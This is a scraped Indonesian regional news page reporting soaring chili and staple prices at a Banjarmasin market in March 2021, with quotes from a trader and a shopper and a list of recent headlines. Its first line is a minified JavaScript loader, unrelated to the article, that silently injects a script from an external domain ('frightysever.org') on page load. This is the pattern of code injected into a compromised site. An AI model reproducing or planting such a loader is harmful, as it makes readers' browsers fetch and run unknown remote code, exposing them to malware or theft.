(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Harga Cabai di Banjarmain Masih Melonjak Tembus hingga Rp150 Ribu/Kg


KANALKALIMANTAN.COM, BANJARMASIN – Harga cabai di sejumlah pasar tradisional di kota Banjarmasin, kian meroket.
Dari informasi yang dihimpun kanalkalimantan.com di pasar tradisional Cemara Ujung, Banjarmasin Utara, Kota Banjarmasin, harga cabai rawit sudah menyentuh harga Rp150.000/Kg.

“Ya karena dari harga belinya memang sudah mahal lebih dulu, jadi kita para pedagang juga harus terpaksa mengikuti pasaran yang ada,” ujar Wahyu Wijaya (33), pedagang yang ditemui Kanalkalimantan.com, Minggu (7/3/2021) pagi.

Ia mengatakan, bukan hanya cabai rawit saja yang mengalami kenaikan harga, tapi bahan-bahan pokok lainnya juga mengalami kenaikan.

“Ya kalau dari kabarnya, kenaikan ini disebabkan pasca banjir yang terjadi, jadi kebun-kebun banyak yang mati. Selain itu juga pengirimannya juga yang lambat, saya juga tidak tahu penyebab pastinya untuk masalah kenaikan harga barang-barang,” ucap Wahyu.

 

Selain cabai merah, beberapa bahan pokok lainnya juga mengalami kenaikan, seperti cabai tiung yang sudah mencapai Rp 110.000/Kg, cabai sayur Rp80.000/Kg, bawang merah Rp30.000/Kg, dan bahan-bahan pokok lainnya.

Kenaikan harga bahan pokok ini, dikeluhkan oleh beberapa warga yang berbelanja di pasar tersebut.

Seperti halnya yang dirasakan oleh Fatmawati (43), salah satu pembeli mengeluhkan harga bahan pokok terutama cabai rawit yang kian meroket harganya.

“Saya juga tidak habis pikir, kalau melihat harga cabai yang seperti ini. Kemarin-kemarin Rp2 ribu saja masih bisa beli cabai rawit, tapi hari ini paling dikit Rp5 ribu baru bisa dibeli,” keluh Fatmawati.

Wanita yang berprofesi sebahai ibu rumah tangga ini juga mengharapkan, agar harga bisa kembali normal seperti sebelum, jadi untuk masyarakat kalangan menengah kebawah terutama masyarakat miskin tidak terbebani dengan harga bahan pokok.

“Ya semoga pihak pemerintah bisa cepat menyelesaikan masalah lonjakan harga bahan-bahan pokok ini. Karena kalau seperti terus, yang kasian kami masyarakat kecil ini loh,” pungkas Fatmawati.(Kanalkalimantan/Tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

3 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

4 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

5 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

9 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

10 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

12 jam ago

This website uses cookies.